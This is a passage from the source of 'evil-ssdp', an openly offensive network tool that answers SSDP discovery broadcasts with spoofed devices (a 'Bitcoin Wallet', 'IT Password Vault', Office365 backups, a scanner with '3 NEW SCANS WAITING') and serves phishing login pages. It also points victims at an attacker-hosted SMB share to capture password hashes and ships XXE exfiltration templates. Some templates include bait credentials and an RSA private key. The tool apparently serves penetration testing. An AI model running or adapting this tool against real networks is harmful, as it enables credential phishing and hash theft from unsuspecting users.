| 'via Basic Auth.') 496 | parser.add_argument("-u", "--url", type=str, 497 | default='', 498 | help=('Redirect to this URL. Works with templates ' 499 | 'that do a POST for logon forms and with ' 500 | 'templates that include the custom redirect ' 501 | 'JavaScript (see README for more info).' 502 | '[example: -r https://google.com]')) 503 | parser.add_argument("-a", "--analyze", action="store_true", 504 | default=False, 505 | help=('Run in analyze mode. Will NOT respond to any' 506 | ' SSDP queries, but will still enable and run' 507 | ' the web server for testing.')) 508 | args = parser.parse_args() 509 | 510 | # The following two lines help to avoid command injection in bash. 511 | # Pretty damn unlikely scenario for this tool, but who knows. 512 | char_whitelist = re.compile('[^a-zA-Z0-9 ._-]') 513 | args.interface = char_whitelist.sub('', args.interface) 514 | 515 | args.local_port = int(args.port) 516 | args.template_dir = (os.path.dirname(os.path.abspath(__file__)) 517 | + '/templates/' + args.template) 518 | args.is_auth = args.basic 519 | args.realm = args.realm 520 | args.redirect_url = args.url 521 | 522 | if not os.path.isdir(args.template_dir): 523 | print("\nSorry, that template directory does not exist. " 524 | "Please double-check and try again.\n") 525 | sys.exit() 526 | 527 | return args 528 | 529 | 530 | def get_ip(interface): 531 | """ 532 | This function will attempt to automatically get the IP address of the 533 | provided interface. This is used for serving the XML files and also for 534 | the SMB pointer, if not specified. 535 | """ 536 | try: 537 | interface_details = netifaces.ifaddresses(interface) 538 | ipv4_info = interface_details[netifaces.AF_INET] 539 | local_ip = ipv4_info[0]['addr'] 540 | return local_ip 541 | except ValueError: 542 | print(PC.warn_box + "Could not get network interface info. " 543 | "Please check and try again.") 544 | sys.exit() 545 | 546 | 547 | def set_smb(args, local_ip): 548 | """ 549 | This function sets the IP address of the SMB server that will be used in 550 | the phishing page. evil-ssdp does not provide an SMB server itself - it 551 | only points somewhere. You must host your own SMB server with something 552 | like Impacket. 553 | """ 554 | if args.smb: 555 | if ip_address(args.smb): 556 | smb_server = args.smb 557 | else: 558 | print("Sorry, that is not a valid IP address for your SMB server.") 559 | sys.exit() 560 | else: 561 | smb_server = local_ip 562 | return smb_server 563 | 564 | 565 | def print_details(args, local_ip, smb_server): 566 | """ 567 | Prints a banner at runtime, informing the user of relevant details. 568 | """ 569 | dev_url = 'http://{}:{}/ssdp/device-desc.xml'.format( 570 | local_ip, args.local_port) 571 | srv_url = 'http://{}:{}/ssdp/service-desc.xml'.format( 572 | local_ip, args.local_port) 573 | phish_url = 'http://{}:{}/ssdp/present.html'.format( 574 | local_ip, args.local_port) 575 | exfil_url = 'http://{}:{}/ssdp/data.dtd'.format(local_ip, args.local_port) 576 | smb_url = 'file://///{}/smb/hash.jpg'.format(smb_server) 577 | print("\n\n") 578 | print("########################################") 579 | print(PC.ok_box + "EVIL TEMPLATE: {}".format(args.template_dir)) 580 | print(PC.ok_box + "MSEARCH LISTENER: {}".format(args.interface)) 581 | print(PC.ok_box + "DEVICE DESCRIPTOR: {}".format(dev_url)) 582 | print(PC.ok_box + "SERVICE DESCRIPTOR: {}".format(srv_url)) 583 | print(PC.ok_box + "PHISHING PAGE: {}".format(phish_url)) 584 | if args.redirect_url: 585 | print(PC.ok_box + "REDIRECT URL: {}".format( 586 | args.redirect_url)) 587 | if args.is_auth: 588 | print(PC.ok_box + "AUTH ENABLED, REALM: {}".format(args.realm)) 589 | if 'xxe-exfil' in args.template_dir: 590 | print(PC.ok_box + "EXFIL PAGE: {}".format(exfil_url)) 591 | else: 592 | print(PC.ok_box + "SMB POINTER: {}".format(smb_url)) 593 | if args.analyze: 594 | print(PC.warn_box + "ANALYZE MODE: ENABLED") 595 | print("########################################") 596 | print("\n\n") 597 | 598 | 599 | def listen_msearch(listener): 600 | """ 601 | Starts the listener object, receiving and processing UDP multicasts. 602 | """ 603 | while True: 604 | data, address = listener.sock.recvfrom(1024) 605 | listener.process_data(data, address) 606 | 607 | 608 | def serve_html(local_ip, local_port, upnp): 609 | """ 610 | Starts the web server for delivering XML files and the phishing page. 611 | """ 612 | MultiThreadedHTTPServer.allow_reuse_address = True 613 | upnp_server = MultiThreadedHTTPServer((local_ip, local_port), upnp) 614 | upnp_server.serve_forever() 615 | 616 | 617 | def main(): 618 | """Main program function 619 | Uses Process to multi-thread the SSDP server and the web server. 620 | """ 621 | args = process_args() 622 | local_ip = get_ip(args.interface) 623 | smb_server = set_smb(args, local_ip) 624 | 625 | listener = SSDPListener(local_ip, args.local_port, args.analyze) 626 | ssdp_server = Process(target=listen_msearch, args=(listener,)) 627 | 628 | upnp_args = {'template_dir':args.template_dir, 629 | 'session_usn':listener.session_usn, 630 | 'smb_server':smb_server, 631 | 'redirect_url':args.redirect_url, 632 | 'is_auth':args.is_auth, 633 | 'local_ip':local_ip, 634 | 'realm':args.realm, 635 | 'local_port':args.local_port} 636 | 637 | upnp = build_class(upnp_args) 638 | 639 | web_server = Process(target=serve_html, 640 | args=(local_ip, args.local_port, upnp)) 641 | 642 | print_details(args, local_ip, smb_server) 643 | 644 | try: 645 | ssdp_server.start() 646 | web_server.start() 647 | signal.pause() 648 | except (KeyboardInterrupt, SystemExit): 649 | print("\n" + PC.warn_box + 650 | "Thanks for playing! Stopping threads and exiting...\n") 651 | web_server.terminate() 652 | ssdp_server.terminate() 653 | sys.exit() 654 | 655 | 656 | 657 | if __name__ == "__main__": 658 | main() 659 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | netifaces 2 | -------------------------------------------------------------------------------- /templates/bitcoin/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 1 5 | 0 6 | 7 | http://$local_ip:$local_port 8 | 9 | http://$local_ip:$local_port/present.html 10 | urn:schemas-upnp-org:device:Basic:1 11 | Bitcoin Wallet 12 | Bitcoin Password Storage 13 | Bitcoin.org 14 | Core 15 | $session_usn 16 | 17 | 18 | urn:schemas-upnp-org:device:Basic:1 19 | urn:schemas-upnp-org:device:Basic 20 | /ssdp/service-desc.xml 21 | /ssdp/service-desc.xml 22 | /ssdp/service-desc.xml 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /templates/bitcoin/present.html: -------------------------------------------------------------------------------- 1 | ECDSA private key (random number / secret exponent)
2 | 6024ecbc7770210b773e2c4d94c329cd7422786a045cdeef985a44d7f5a38840
3 | Bitcoin private key (Base58Check, uncompressed)
4 | 5JYdTTeC8sk2E6P1NZX7jxgFhfyQ1ciFnUmZcUUssCBhxmjbRkW
5 | Bitcoin extended private key (Base58Check)
6 | xprv9s21ZrQH143K4PhdJxVhvKqDnu19eMmUmrX9kDzenqj7p9CA7UAfnjoThXa2qxAT43PKxyEeYmrBSVmoDNLVTPCacdAGihdUeCTSKssEvNj
7 | (embedded private key) -> KxuViUixybJGJrKWyNoFYRbb3PN1RCgfm9uRR1w5ZwppvzusBz8p
8 | ------
9 | ECDSA public key (uncompressed)
10 | 047fbaa4bf893ff3949dd11a513ae57f7baa495d64a714db7d75e66e14a443f4c0ba98a5e455991013527c9b4ab4b81bf2f252b2becedf753df8d3312355788d1d
11 | Bitcoin Address (uncompressed, length=34):
12 | 1ECvucAvoPe5FSNLUnJCh53qpZPbywH9et
13 | Bitcoin extended public key
14 | xpub661MyMwAqRbcGsn6Qz2iHTmxLvqe3pVL95SkYcQGMBG6gwXJf1UvLY7wYpyC8rqLRDdpyxWoWrFGiCQwNDuAXiForSCYoAZwo21dn7w1Cb1
15 | (embedded public key) -> 036a462bc81368a1ad07cd6bb0a5b08b60e2049719605bd2d82632d8e3e6e8f060
16 | (bitcoin address) -> 17TdEVSEge6e1AVHqpdd8nS6cHGGj23eSb
17 |
18 |
19 | -------------------------------------------------------------------------------- /templates/bitcoin/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /templates/microsoft-azure/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 1 5 | 0 6 | 7 | http://$local_ip:$local_port 8 | 9 | http://$local_ip:$local_port/present.html 10 | urn:schemas-upnp-org:device:Basic:1 11 | Microsoft Azure Storage 12 | Azure Cloud Storage Solution 13 | Microsoft Corporation 14 | Core 15 | $session_usn 16 | 17 | 18 | urn:schemas-upnp-org:device:Basic:1 19 | urn:schemas-upnp-org:device:Basic 20 | /ssdp/service-desc.xml 21 | /ssdp/service-desc.xml 22 | /ssdp/service-desc.xml 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /templates/microsoft-azure/present.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Something went wrong 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 32 |
33 |
34 |
35 |
36 | Microsoft account symbol 37 | 38 |
We can't sign you in
39 | 40 |
Your browser is currently set to block cookies. You need to allow cookies to use this service.
41 |
Cookies are small text files stored on your computer that tell us when you're signed in. To learn how to allow cookies, check the online help in your web browser.
42 |
43 |
44 |
45 | 46 | 56 |
57 | 58 | 59 | -------------------------------------------------------------------------------- /templates/microsoft-azure/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /templates/office365/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 1 5 | 0 6 | 7 | http://$local_ip:$local_port 8 | 9 | http://$local_ip:$local_port/present.html 10 | urn:schemas-upnp-org:device:Basic:1 11 | Office365 Backups 12 | Secure Storage for Office365 13 | MS Office 14 | Office 365 Backups 15 | $session_usn 16 | 17 | 18 | urn:schemas-upnp-org:device:Basic:1 19 | urn:schemas-upnp-org:device:Basic 20 | /ssdp/service-desc.xml 21 | /ssdp/service-desc.xml 22 | /ssdp/service-desc.xml 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /templates/office365/present.html: -------------------------------------------------------------------------------- 1 | 2 | Sign in to Microsoft Online Services 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 23 | 24 | 25 | 26 | 27 | 28 | 36 |
37 | Illustration for Microsoft Online Services 38 |
39 |
40 |
41 |
42 |
43 | 44 | 45 | 46 | 49 | 51 | 52 | 53 | 54 | 55 |
56 |
57 | 58 | 59 | 60 | 134 | 135 | 136 |
137 | 138 |
139 | 140 | 141 | 142 | -------------------------------------------------------------------------------- /templates/office365/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /templates/password-vault/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 1 5 | 0 6 | 7 | http://$local_ip:$local_port 8 | 9 | http://$local_ip:$local_port/present.html 10 | urn:schemas-upnp-org:device:Basic:1 11 | IT Password Vault 12 | Corporate Password Repository 13 | PasSecure 14 | Core 15 | $session_usn 16 | 17 | 18 | urn:schemas-upnp-org:device:Basic:1 19 | urn:schemas-upnp-org:device:Basic 20 | /ssdp/service-desc.xml 21 | /ssdp/service-desc.xml 22 | /ssdp/service-desc.xml 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /templates/password-vault/present.html: -------------------------------------------------------------------------------- 1 |

Infrastructure Passwords

2 |

Active Directory

3 | smb.svc:L0llingAw8y
4 | ssdp.svc:Wh3resYourH8sh?
5 | web.svc:H0wsTh3Lur3T8ste?
6 |
7 |

Cloud Services

8 | AWS secret key 1:
9 | AWS SSH keypair:
10 | -----BEGIN RSA PRIVATE KEY-----
11 | MIIEpQIBAAKCAQEAw/3FQZMBVqoxJ+/j1IBSqAGdcvZh3dqIdJVubi86D06YWvXY
12 | eUps4wMZTSI2ocAtviEvllgfVRGFkj+wZGRbnUfsg+ZiGWlTUiyU0eYnoVq49uci
13 | AZma7ru8EH89VEx6XILz83BQ93THRSH1gA57YqABamKC0Ojxkq0Rq1dsFTQUsPeF
14 | tVMxu0HeT0uYbwT9mDcEbNDa9UDH+Xd9M+2Lh6Zprz7TQkCRWQnddpZhb9nWfCaX
15 | E8YPgkCyhcwOjkHHEYcOt/R+J/tKgh+KvsRfFdmTfVqv84kzvUHap/tSA8vHo/ur
16 | itORNOaFX/50f1gr1c66j+FpKuP2f/j4JN9SlwIDAQABAoIBAQCA0VQMVJYFo1kp
17 | ubeSXUF2oZEeFaifi9oyXmE11J6hnvPunTXKCsvkrY28r+cei1TFacSAWa1GWXzk
18 | ci363ieFCdf/nbYOo7abBShPiam0mQ+HYMVuLcqybPwgD7F8rcOi+INlFwZwjvXG
19 | j5pvr5UTbr1fch4vN1xIHq7FYnFswSZ2LWYPG1M2iOFF5R6vswve6woKaADjfWvV
20 | PYIPixcVXxUuzxNIrXftDQENyNcGRyq8gDoVt6NPwzTpb6W3LCOSMX+oztjJUzA4
21 | jLmnbq01zs1T9e+m64lSziC22k4X6rFddcR9XjJzfTRCbrukfpT3er6bUZknIi5Z
22 | tYT1Tds5AoGBAO3/u6RDrpBpWBrOaEEObt9co1wYV9Oe4W/qiC9UopfF75jTjo5b
23 | 3AYIfwBo3hGwQeyU/fpEYfii9Iv+puX9k3fWpj3Uxdt9otuVmQXVU8uvq8uDdz4i
24 | GVNP5naeafONE4EdARF200d3PQKruP1DSUkGtDKygKn0uIakS9bxeFalAoGBANLQ
25 | qXbnjWcMaekSP6DsrF8n1ZKtMQIWMNlY12e06Vau5CoeWdyNVib92y8lruqksBEC
26 | vCWmnepu4tuurnGVW+dXnN5+z8wnQI/+NmeZdhA7Rn3qEn4fCQYG++lS6vGt9Num
27 | s9flzp3Tdqyxywl4P66lVktT5oACEf3XB4/tm3uLAoGBAM58EDUsz1fVPa5MI+FF
28 | f2XkfoqZSCF+98Hcbfj6afJZtU0XRtg11EebuWwGj5wzGo8CmPM3vvQzlQ2civqB
29 | LR9MqIB+iIasks4GFXQdKA1QxTDVR3Atr2E7sgx51hyK6kAbhOC9AgM/7TvS9rUs
30 | Wnm0CkTt33kUq7+M7Yt3hltNAoGAMxqwKgnhxlxFBGIPGKSm+H5AkMj5O2dDujyG
31 | IzbA5emJmAg5gnSksNkTHC/HYkw//i+qinoEiAMPbW/AC/rIB6G+flVBbF0Lkpxu
32 | ddjGvRKReQ6YIwjE+DgTMzGNkL65v9F+gVTNLIdJmn2TGZ2T2nNsIuCY3OkjkWRi
33 | CerwqRcCgYEAsREIGH1hN+T62P1ln9mnXyOj1bg2WcTc8mAORGulJo4BP+kMuH3+
34 | tgZ/9TGHTCx4GDGB0md0eAg6mpr/5VlOyWTARHsVTAevTZ0iSEkqQRDUtfyRfRW6
35 | JX6VMOKZRtXrjXj9pjfxiA6H21SD4chnMr2DwPPDWntsmLj1X5MV+BE=
36 | -----END RSA PRIVATE KEY-----
37 |
38 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD/cVBkwFWqjEn7+PUgFKoAZ1y9mHd2oh0lW5uLzoPTpha9dh5SmzjAxlNIjahwC2+IS+WWB9VEYWSP7BkZFudR+yD5mIZaVNSLJTR5iehWrj25yIBmZruu7wQfz1UTHpcgvPzcFD3dMdFIfWADntioAFqYoLQ6PGSrRGrV2wVNBSw94W1UzG7Qd5PS5hvBP2YNwRs0Nr1QMf5d30z7YuHpmmvPtNCQJFZCd12lmFv2dZ8JpcTxg+CQLKFzA6OQccRhw639H4n+0qCH4q+xF8V2ZN9Wq/ziTO9Qdqn+1IDy8ej+6uK05E05oVf/nR/WCvVzrqP4Wkq4/Z/+Pgk31KX lanphisher@behindyou
39 |
40 |
41 |

42 |

43 | -------------------------------------------------------------------------------- /templates/password-vault/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /templates/scanner/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 1 5 | 0 6 | 7 | http://$local_ip:$local_port 8 | 9 | http://$local_ip:$local_port/present.html 10 | urn:schemas-upnp-org:device:Scanner:1 11 | Corporate Scanner [3 NEW SCANS WAITING] 12 | Confidential document scanner. 13 | Xerox 14 | ScanMaster5000 15 | $session_usn 16 | 17 | 18 | urn:schemas-upnp-org:device:ScannerBasic:1 19 | urn:schemas-upnp-org:device:ScannerBasic 20 | /ssdp/service-desc.xml 21 | /ssdp/service-desc.xml 22 | /ssdp/service-desc.xml 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /templates/scanner/present.html: -------------------------------------------------------------------------------- 1 | 2 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | Secure Scanner - Login 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 |
123 |
124 |

Log in

125 |

You have [3] scans waiting

126 |

Please enter your Active Directory username and password

127 |
128 | 129 | 130 | 131 |
132 |
133 | 134 | 135 | 136 | 137 |
138 | 139 | -------------------------------------------------------------------------------- /templates/scanner/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /templates/xxe-exfil/data.dtd: -------------------------------------------------------------------------------- 1 | "> 2 | %all; 3 | 4 | -------------------------------------------------------------------------------- /templates/xxe-exfil/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | %dtd; 6 | ]> 7 | &send; 8 | 9 | -------------------------------------------------------------------------------- /templates/xxe-exfil/present.html: -------------------------------------------------------------------------------- 1 | ECDSA private key (random number / secret exponent)
2 | 6024ecbc7770210b773e2c4d94c329cd7422786a045cdeef985a44d7f5a38840
3 | Bitcoin private key (Base58Check, uncompressed)
4 | 5JYdTTeC8sk2E6P1NZX7jxgFhfyQ1ciFnUmZcUUssCBhxmjbRkW
5 | Bitcoin extended private key (Base58Check)
6 | xprv9s21ZrQH143K4PhdJxVhvKqDnu19eMmUmrX9kDzenqj7p9CA7UAfnjoThXa2qxAT43PKxyEeYmrBSVmoDNLVTPCacdAGihdUeCTSKssEvNj
7 | (embedded private key) -> KxuViUixybJGJrKWyNoFYRbb3PN1RCgfm9uRR1w5ZwppvzusBz8p
8 | ------
9 | ECDSA public key (uncompressed)
10 | 047fbaa4bf893ff3949dd11a513ae57f7baa495d64a714db7d75e66e14a443f4c0ba98a5e455991013527c9b4ab4b81bf2f252b2becedf753df8d3312355788d1d
11 | Bitcoin Address (uncompressed, length=34):
12 | 1ECvucAvoPe5FSNLUnJCh53qpZPbywH9et
13 | Bitcoin extended public key
14 | xpub661MyMwAqRbcGsn6Qz2iHTmxLvqe3pVL95SkYcQGMBG6gwXJf1UvLY7wYpyC8rqLRDdpyxWoWrFGiCQwNDuAXiForSCYoAZwo21dn7w1Cb1
15 | (embedded public key) -> 036a462bc81368a1ad07cd6bb0a5b08b60e2049719605bd2d82632d8e3e6e8f060
16 | (bitcoin address) -> 17TdEVSEge6e1AVHqpdd8nS6cHGGj23eSb
17 |
18 |
19 | -------------------------------------------------------------------------------- /templates/xxe-exfil/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /templates/xxe-smb/device.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | ]> 6 | &xxe;&xxe-url; 7 | -------------------------------------------------------------------------------- /templates/xxe-smb/present.html: -------------------------------------------------------------------------------- 1 | ECDSA private key (random number / secret exponent)
2 | 6024ecbc7770210b773e2c4d94c329cd7422786a045cdeef985a44d7f5a38840
3 | Bitcoin private key (Base58Check, uncompressed)
4 | 5JYdTTeC8sk2E6P1NZX7jxgFhfyQ1ciFnUmZcUUssCBhxmjbRkW
5 | Bitcoin extended private key (Base58Check)
6 | xprv9s21ZrQH143K4PhdJxVhvKqDnu19eMmUmrX9kDzenqj7p9CA7UAfnjoThXa2qxAT43PKxyEeYmrBSVmoDNLVTPCacdAGihdUeCTSKssEvNj
7 | (embedded private key) -> KxuViUixybJGJrKWyNoFYRbb3PN1RCgfm9uRR1w5ZwppvzusBz8p
8 | ------
9 | ECDSA public key (uncompressed)
10 | 047fbaa4bf893ff3949dd11a513ae57f7baa495d64a714db7d75e66e14a443f4c0ba98a5e455991013527c9b4ab4b81bf2f252b2becedf753df8d3312355788d1d
11 | Bitcoin Address (uncompressed, length=34):
12 | 1ECvucAvoPe5FSNLUnJCh53qpZPbywH9et
13 | Bitcoin extended public key
14 | xpub661MyMwAqRbcGsn6Qz2iHTmxLvqe3pVL95SkYcQGMBG6gwXJf1UvLY7wYpyC8rqLRDdpyxWoWrFGiCQwNDuAXiForSCYoAZwo21dn7w1Cb1
15 | (embedded public key) -> 036a462bc81368a1ad07cd6bb0a5b08b60e2049719605bd2d82632d8e3e6e8f060
16 | (bitcoin address) -> 17TdEVSEge6e1AVHqpdd8nS6cHGGj23eSb
17 |
18 |
19 | -------------------------------------------------------------------------------- /templates/xxe-smb/service.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | --------------------------------------------------------------------------------